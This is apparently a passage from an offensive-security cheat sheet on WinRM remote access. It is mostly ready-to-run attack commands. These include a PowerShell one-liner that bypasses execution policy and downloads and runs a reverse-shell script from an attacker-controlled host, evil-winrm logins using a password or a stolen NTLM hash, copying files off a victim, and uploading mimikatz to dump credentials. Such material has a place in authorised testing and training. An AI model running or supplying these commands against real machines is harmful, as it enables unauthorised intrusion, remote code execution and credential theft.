We first have to configure our attack machine to work with WinRM as well. We need to enable it and add any "victims" as trusted hosts. From an elevated PowerShell prompt, run the following two commands:
Copy # Target Windows Terminal
PS> Enable-PSRemoting -Force
PS> Set-Item wsman:\localhost\client\trustedhosts *
Copy # Target Windows Terminal
# Run a reverse shell
PS> Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/shell.ps1')"}
# Run a command
PS> Invoke-Command -computername <computername> -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
Copy # Install
gem install evil-winrm
# Remote access
evil-winrm -u Administrator -p '<Password>' -i <IP>
evil-winrm -u <username> -H <Hash> -i <IP>
# File transfer
download # download to your kali
# download C:\temp\supersecret.txt /opt/Juggernaut/JUGG-Backup/supersecret.txt
upload # upload to a target machine
# upload /opt/Windows/exploits/executables/mimikatz.exe C:\temp\mimikatz.exe